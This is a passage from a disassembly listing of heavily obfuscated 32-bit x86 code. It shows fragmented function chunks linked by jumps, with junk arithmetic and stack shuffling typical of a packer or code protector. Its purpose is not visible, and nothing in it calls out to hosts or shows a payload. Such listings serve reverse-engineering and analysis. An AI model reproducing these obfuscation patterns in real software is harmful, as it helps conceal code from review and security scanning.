ecx jmp loc_5AF9E1 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5AF5F0: ; CODE XREF: sub_5A9EBF-5E90j mov eax, 0E123F824h sub ebx, eax pop eax mov edi, ebx jmp loc_5AB788 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; =============== S U B R O U T I N E ======================================= sub_5AF5FF proc near ; CODE XREF: sub_59D6B8+561Fj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A356B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005ADB60 SIZE 0000000D BYTES sub esp, 4 mov [esp+4+var_4], edx jmp loc_5ADB60 sub_5AF5FF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF60D: ; CODE XREF: sub_5AA2D1-10505j ; sub_5B01F7-C0D0j add esp, 4 jmp loc_5AEFCA ; --------------------------------------------------------------------------- loc_5AF618: ; CODE XREF: sub_5AA2D1-A7DFj ; sub_5A2E41+CD1Aj mov ecx, [esp-2Ch+arg_28] jmp loc_5AB374 ; --------------------------------------------------------------------------- loc_5AF620: ; CODE XREF: sub_5AA2D1-DB6Fj xor bp, di pop edi jmp loc_5AE955 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_5AF629: ; CODE XREF: sub_5A81C4-4448j mov [esp+4+var_4], ebp mov ebp, 0B5C3F1Bh push ebp jmp loc_5ACA1A ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AF637: ; CODE XREF: sub_5992DA+14D6Bj mov edi, 37526610h sub esi, edi pop edi pop ebx add edx, 1D6D5E55h add edx, esi sub edx, 1D6D5E55h mov esi, [esp+14h+var_14] sub esp, 4 mov [esp+18h+var_18], ecx mov ecx, esp jmp loc_5A5AAF ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5AF661: ; CODE XREF: sub_5A5EFF-AFECj sub eax, 6FB6F1Ch add eax, ecx add eax, 6FB6F1Ch pop ecx jmp loc_5AF2C1 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5AF673: ; CODE XREF: sub_5AD993-BFB1j jmp loc_59AF52 ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- loc_5AF678: ; CODE XREF: sdfs____:005AD64Cj push dword ptr [esp] pop ecx push esi mov esi, esp jmp loc_5A2C1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF684: ; CODE XREF: sub_5AA2D1-598Cj mov ebp, 6241123Bh jmp loc_59CB45 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_5AF68E: ; CODE XREF: sub_5A2166+CE28j pop ebx sub esi, 71DF4900h add esi, ecx push ebp mov ebp, 71DF4900h jmp loc_5AE89B ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5AF6A2: ; CODE XREF: sub_5A9EC5-DFA5j mov [esp+6+var_8+2], eax mov al, 90h jmp loc_5A8DF0 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; =============== S U B R O U T I N E ======================================= sub_5AF6AC proc near ; CODE XREF: sub_59A479+8F19j ; FUNCTION CHUNK AT 0059D692 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A5B9B SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A7191 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AF563 SIZE 00000005 BYTES push ebx push 10BC225Bh jmp loc_5A7191 sub_5AF6AC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2AFE loc_5AF6B7: ; CODE XREF: sub_5A2AFE+4FF2j push ecx mov ecx, 5D2235BDh jmp loc_5A826D ; END OF FUNCTION CHUNK FOR sub_5A2AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF6C2: ; CODE XREF: sub_5AA2D1+332Bj and edi, ebp jmp loc_59C901 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD213 loc_5AF6C9: ; CODE XREF: sub_5AD213+8j push edx mov edx, 48832CF8h xor edx, 3FB02F99h add ebx, edx jmp loc_5A6AD8 ; END OF FUNCTION CHUNK FOR sub_5AD213 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB179 loc_5AF6DC: ; CODE XREF: sub_5AB179-90E3j xor ebp, 4A006155h jmp loc_5A01FC ; END OF FUNCTION CHUNK FOR sub_5AB179 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_5AF6E7: ; CODE XREF: sub_59BA35+2Dj or esi, 3A5807FEh jl loc_59D635 jmp loc_5AB35C ; END OF FUNCTION CHUNK FOR sub_59BA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF6F8: ; CODE XREF: sub_5AA2D1-C299j ; sub_5AF3AA-C9EAj mov edx, 34A274EBh or edx, 2A0A480Ah add edx, 40547094h shl edx, 2 xor edx, 2FB93892h sub edx, 6720CBCh jmp loc_5AC9FF ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5AF71D: ; CODE XREF: sub_5A79BE+4FD6j add ebx, ecx pop ecx add esi, 12EB10D3h add esi, ebx sub esi, 12EB10D3h pop ebx add esi, 4 xchg esi, [esp-8+arg_4] jmp loc_59E7CD ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- loc_5AF73D: ; CODE XREF: sdfs____:005A1840j mov ebx, 6B161331h push ebx xor dword ptr [esp], 3FBF3B63h pop edx jmp loc_59A0EB ; --------------------------------------------------------------------------- loc_5AF750: ; CODE XREF: sdfs____:005AA64Cj mov eax, 49B26AC5h jmp loc_5AD31D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AF75A: ; CODE XREF: sub_5992DA+A22Ej dec edx jnz loc_5AC757 jmp loc_5AB788 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- sub al, 58h mov edx, [esp] mov ebx, ecx ; START OF FUNCTION CHUNK FOR sub_5A5735 loc_5AF76D: ; CODE XREF: sub_5A5735-AA77j dec ecx sub ecx, 0A5F0A141h mov esi, ecx pop ecx add eax, esi push [esp+4+var_4] pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp push 2CB9h mov [esp+8+var_8], eax push [esp+8+var_4] pop eax pop [esp+8+var_8] mov esp, [esp+4+var_4] shr [esp-4+arg_0], cl pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A5735 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE72D loc_5AF7AC: ; CODE XREF: sub_5AE72D+22j push eax mov eax, 57155E05h shl eax, 8 add eax, 55D020F8h mov edx, eax jmp loc_5ADB17 ; END OF FUNCTION CHUNK FOR sub_5AE72D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF7C1: ; CODE XREF: sub_5AA2D1+19FCj push edi push 424A1BD0h pop edi dec edi jg loc_59944E sub edi, 424A1BCBh jmp loc_5A6A98 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AF7DA: ; CODE XREF: sub_59D6B8+B3BDj mov eax, 6EB042BBh add eax, 694814E1h shl eax, 5 xor eax, 0FF0AF384h add esi, eax mov eax, [esp+20h+var_20] add esp, 4 xchg esi, [esp+1Ch+var_1C] pop esp pop [esp+18h+var_18] pop esp sar word ptr [esp+10h+var_10], cl pushf jmp loc_5A38BB ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5AF809: ; CODE XREF: sub_5AD993+6j or ebx, 75300D16h jp loc_5AFDC6 dec ebx jno loc_5AC87A mov bl, 0DCh mov ebp, ecx ; END OF FUNCTION CHUNK FOR sub_5AD993 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF820: ; CODE XREF: sub_5AA2D1+44j push dword ptr [esp+0] pop eax sub esp, 4 mov [esp+2+var_4+2], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+2+var_4+2] pop esp mov [esp+0], ebx mov ebx, esp push eax mov eax, 30EC590Ah add eax, 0CF13A6FAh add ebx, eax pop eax sub esp, 4 mov [esp+2+var_4+2], esi mov esi, 4 jmp loc_5A6A98 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABE5F loc_5AF862: ; CODE XREF: sub_5ABE5F+6j pop [esp+4+var_4] pop esp not esi xor esi, 99DEC442h mov edi, esi pop esi add eax, edi mov edi, [esp-8+arg_4] add esp, 4 add eax, ebx push esi jmp sub_5AC2C0 ; END OF FUNCTION CHUNK FOR sub_5ABE5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5AF881: ; CODE XREF: sub_59A26C+8389j pop edx push edi push [esp-0Ch+arg_C] jmp loc_5ACFD2 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5AF88C: ; CODE XREF: sub_5A2E41+5EBj push dword ptr [esp+0] pop ebx push 21Bh jmp loc_5AE260 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF89A: ; CODE XREF: sub_5AA2D1+14ACj pop ebx or ebp, 37337423h inc ebp shr ebp, 6 xor ebp, 561F5844h push edi mov edi, 51656953h jmp loc_59D57C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5AF8B6: ; CODE XREF: sub_5A913B-4A9j add bl, al sub bl, 61h sub bl, 60h push edx mov dh, 76h sub dh, 14h sub bl, 6Ah sub bl, dh add bl, 6Ah jmp loc_59DEDD ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF8D1: ; CODE XREF: sub_5AA2D1-324j push edx jmp loc_5A8BA9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F463 loc_5AF8D7: ; CODE XREF: sub_59F463+4652j mov [esp+0], cx movzx cx, al push cx pushf jmp loc_5AD388 ; END OF FUNCTION CHUNK FOR sub_59F463 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4DFC loc_5AF8E7: ; CODE XREF: sub_5A4DFC+3F75j mov [esp+10h+var_10], ebx mov bh, cl mov dl, bh pop ebx pop ecx jmp loc_5AB6C9 ; END OF FUNCTION CHUNK FOR sub_5A4DFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5AF8F5: ; CODE XREF: sub_5ADD33-12A81j mov [esp+4+var_4], edx push esp pop edx jmp loc_5A710A ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; =============== S U B R O U T I N E ======================================= sub_5AF8FF proc near ; DATA XREF: sdfs____:00598FA8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599DD1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059F951 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A7B70 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AA7CC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AFDBD SIZE 00000009 BYTES sub esp, 4 jmp loc_599DD1 sub_5AF8FF endp ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_59910F ; --------------------------------------------------------------------------- loc_5AF90F: ; CODE XREF: sdfs____:005A88BCj mov [esp], ebp jmp loc_5A39C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AF917: ; CODE XREF: sub_5992DA+C6B9j push edx mov dh, 0B6h add dh, 0D5h js loc_59AFAF sub dh, 58h dec dh sub dh, 2Ch jmp loc_59C525 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9A8F loc_5AF930: ; CODE XREF: sub_5A9A8F+6j mov eax, 2540247Eh add edi, 4A7D706Dh jmp sub_59BC97 ; END OF FUNCTION CHUNK FOR sub_5A9A8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8E92 loc_5AF940: ; CODE XREF: sub_5A8E92-B345j mov [esp+0], esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp-4+arg_0] jmp loc_59EF4C ; END OF FUNCTION CHUNK FOR sub_5A8E92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF953: ; CODE XREF: sub_5AA2D1+602Cj pop edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-18h+arg_14] pop esp mov [esp-1Ch+arg_18], ebx mov ebx, 4 push ebx mov ebx, 3CCB5114h add ebp, ebx pop ebx sub ebp, ebx push edx mov edx, 3CCB5114h sub ebp, edx pop edx jmp loc_59D96F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C2B8 loc_5AF985: ; CODE XREF: sub_59C2B8+1Ej mov edx, ebx pop ebx xor edx, 10251622h jmp loc_5AAD00 ; END OF FUNCTION CHUNK FOR sub_59C2B8 ; --------------------------------------------------------------------------- loc_5AF993: ; DATA XREF: sdfs____:00598E38o push dword ptr [esp] pop eax push 495Fh mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5AA05D ; =============== S U B R O U T I N E ======================================= sub_5AF9B3 proc near ; CODE XREF: sub_5A18F6+2615j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005A86DC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AE42A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AFF0F SIZE 0000001B BYTES sub esp, 4 mov [esp+0], edx jmp loc_5AE42A sub_5AF9B3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AF9BE: ; CODE XREF: sub_59C979+585Ej add edi, esi pop esi xor ecx, edi pop edi jmp loc_59F7E8 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5AF9C9: ; CODE XREF: sub_5AE29C:loc_5A11AEj shr edx, 6 jmp loc_5A568B ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5AF9D1: ; CODE XREF: sub_5A580F+511Ej push [esp+10h+var_10] jmp loc_5AE874 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5AF9D9: ; CODE XREF: sub_59F02F+C543j push [esp+8+var_8] jmp loc_59ABDB ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5AF9E1: ; CODE XREF: sub_59FC02+F9E9j push 6E03h mov [esp+8+var_8], ebp jmp loc_59C398 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF9EE: ; CODE XREF: sub_5AA2D1-3812j mov esi, 57E92495h push ecx mov ecx, 118937F8h shl ecx, 7 sub ecx, 0C49BFBFFh sub esi, ecx push [esp+12h+var_14+2] jmp loc_59965E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AFA0C: ; CODE XREF: sub_5992DA+168BEj xchg edx, [esp+26h+var_26] pop esp mov [esp+22h+var_22], ecx push edi mov edi, 5BF651CEh xor edi, 5BF651CAh mov ecx, edi jmp loc_5AEE1B ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_5AFA26 proc near ; CODE XREF: sub_5A63DC+5D84j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00599EF7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059A53B SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0059AB2C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059D0BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E237 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0059E40A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059E459 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059FDA0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A1AB1 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A4D55 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A6A6B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A8DC6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A9AF7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AC0C1 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AD209 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AF01E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AFAF5 SIZE 0000001C BYTES sub esp, 4 mov [esp+2+var_4+2], edx jmp loc_599EF7 sub_5AFA26 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5AFA31: ; CODE XREF: sub_5996E4+3j mov [esp+4+var_4], esi jmp loc_5A8FD1 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5AFA39: ; CODE XREF: sub_59E94B-5C9j push 1301h mov [esp+4+var_4], ebx jmp sub_5A35F6 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_5AFA46: ; CODE XREF: sub_5AB3DB-3173j mov edi, 49AA42E8h jmp loc_59E828 ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AFA50: ; CODE XREF: sub_59CBE1+C361j mov ebp, [esp-14h+arg_10] add esp, 4 xor ebx, eax pop small word ptr [eax] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5AFA60: ; CODE XREF: sub_5A9EC5-B890j mov esp, [esp+6+var_8+2] jmp loc_59C6FB ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFA68: ; CODE XREF: sub_5AA2D1:loc_5A6021j add edx, 0FFFFFFFFh push esi mov esi, 0E51AD12Ch jmp loc_59B9D9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A12F5 loc_5AFA76: ; CODE XREF: sub_5A12F5+4DC2j mov [esp+4+var_4], edx jmp loc_5A08E1 ; END OF FUNCTION CHUNK FOR sub_5A12F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5AFA7E: ; CODE XREF: sub_5B03E8-12563j ; sub_5A5EFF+CE1j sub edi, eax push eax mov eax, 5AE5164Dh xor eax, 0FE4023h sub edi, eax pop eax pop eax xor edi, [esp+4+var_4] xor [esp+4+var_4], edi xor edi, [esp+4+var_4] jmp loc_5AC5B2 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- loc_5AFA9D: ; CODE XREF: sdfs____:005A3058j mov esi, 4 add edi, esi jmp loc_59BC59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAFCA loc_5AFAA9: ; CODE XREF: sub_5AAFCA-61ECj push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_5A95F9 ; END OF FUNCTION CHUNK FOR sub_5AAFCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_5AFABD: ; CODE XREF: sub_59D18A+7B58j add [esp+0Ch+var_4], ebx jmp loc_5AEF54 ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5AFAC6: ; CODE XREF: sub_5A4E04-485Bj add esi, 3C90C030h jmp loc_5AE6D4 ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFAD1: ; CODE XREF: sub_5AA2D1+104Cj add eax, 0B7F2EEA7h xor esi, eax pop eax mov eax, esi pop esi add ebx, eax jmp loc_5A4302 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5AFAE3: ; CODE XREF: sdfs____:005ADAABj mov [esp], eax jmp loc_59A7B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AFAEB: ; CODE XREF: sub_59EE3E+20AAj pop ecx not dl shl dl, 1 jmp loc_59BDD8 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_5AFAF5: ; CODE XREF: sub_5AFA26-1160Ej push [esp+arg_0] pop edi pop dword ptr [esp+0] mov esp, [esp-4+arg_0] mul cx push 0BB8h mov [esp-4+arg_0], eax push esp jmp loc_5AD209 ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A35F6 loc_5AFB11: ; CODE XREF: sub_5A35F6+5ADFj and ecx, 52A67E6Fh jmp loc_59C004 ; END OF FUNCTION CHUNK FOR sub_5A35F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_5AFB1C: ; CODE XREF: sub_5A3E64-5A6Fj ; sub_5A21A4:loc_5A9A45j add ebx, 4 jmp loc_5AD25E ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5AFB27: ; CODE XREF: sub_5AF2D9-91EBj add ebp, 6A5159EAh pop ebx xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] or edx, eax shl edx, 1 push ecx mov ecx, esp push edx mov edx, 4 sub ecx, 12552660h add ecx, edx jmp loc_59C378 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F463 loc_5AFB4E: ; CODE XREF: sub_59F463+C5DBj push esi mov esi, 4 jmp loc_5AE2AC ; END OF FUNCTION CHUNK FOR sub_59F463 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5AFB59: ; CODE XREF: sub_5A2E41+D4D2j sub ebx, ecx jmp loc_5AF618 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5AFB60: ; CODE XREF: sub_59E94B+6D3Bj dec ecx xor ecx, 0D467FA08h add ebp, ecx mov ecx, [esp-0Ch+arg_8] add esp, 4 xor eax, ebp pop ebp add eax, 0E4D6F249h add ebx, 7EBF03C2h jmp sub_5ABEF6 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AFB85: ; CODE XREF: sub_5992DA+3430j push 2031h mov [esp+0], edx push esp pop edx add edx, 4 sub edx, 4 jmp loc_5AFA0C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5AFB9D: ; CODE XREF: sub_59A9E9+DC3Cj push edx mov edx, esp add edx, 4 jmp loc_59E71A ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AFBAB: ; CODE XREF: sub_59EE3E+21E1j pop eax mov eax, ebx jmp loc_599E42 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4CF3 loc_5AFBB3: ; CODE XREF: sub_5A4CF3+5E1j push 446Ch mov [esp+0Ch+var_C], eax xor [esp+0Ch+var_C], ebx xor ebx, [esp+0Ch+var_C] jmp loc_5A4A27 ; END OF FUNCTION CHUNK FOR sub_5A4CF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5AFBC6: ; CODE XREF: sub_5A2E41+D1D6j add edx, 4 xchg edx, [esp+0Ch+var_C] pop esp xor edx, 7D6E19CAh pop ecx push esi mov esi, 54BE28E6h neg esi sub esi, 6C2B4748h xor esi, 51964C7Ah and esi, 34BA2933h or esi, 1AB9328Fh add esi, 0F410E600h sub ebx, esi pop esi sub ebx, 251D5C84h add ebx, edx jmp loc_59C725 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_5AFC0A: ; CODE XREF: sub_5AB622-F408j sub edi, esi mov esi, [esp+4+var_4] jmp loc_5A9630 ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_5AFC14: ; CODE XREF: sub_5A8215-74Ej mov esi, 0B564C76h push edx mov edx, 32B20F8Fh sub edx, 2AFD43F9h neg edx neg edx jmp loc_5A2F0A ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5AFC2E: ; CODE XREF: sub_59F4D2+2834j pop ecx jmp loc_59DFB7 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFC34: ; CODE XREF: sub_5AA2D1-1444j pop esi pop [esp+0Ch+var_C] jmp loc_59C7C2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AFC3D: ; CODE XREF: sub_5B01F7-75DCj mov ecx, 2855473Dh sub [esp+18h+var_10], ecx pop ecx jmp loc_5AD296 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AFC4C: ; CODE XREF: sub_59CBE1+CCACj inc eax sub eax, 2C7B0B59h jmp loc_5AA683 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A28E3 loc_5AFC57: ; CODE XREF: sub_5A28E3+17C4j sub eax, 48E53233h push dword ptr [esp+0] mov edx, [esp+0] add esp, 4 push ebx mov ebx, esp add ebx, 4 push 6155h jmp loc_5AA7A9 ; END OF FUNCTION CHUNK FOR sub_5A28E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4624 loc_5AFC78: ; CODE XREF: sub_5A4624+23j popf jmp nullsub_12 ; END OF FUNCTION CHUNK FOR sub_5A4624 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFC7E: ; CODE XREF: sub_5AA2D1-8E20j mov esp, [esp+10h+var_10] mov [esp+10h+var_10], ebx push 3F2h mov [esp+14h+var_14], edx mov edx, 38272424h xor edx, 2C916E22h shr edx, 4 shr edx, 4 jmp loc_599C6F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5AFCA2: ; CODE XREF: sub_5A9EBF-FD98j not ebx sub ebx, 73B83C57h js loc_5AAE09 or ebx, 6C1B1F9Bh jmp loc_5A58CF ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5AFCBB: ; CODE XREF: 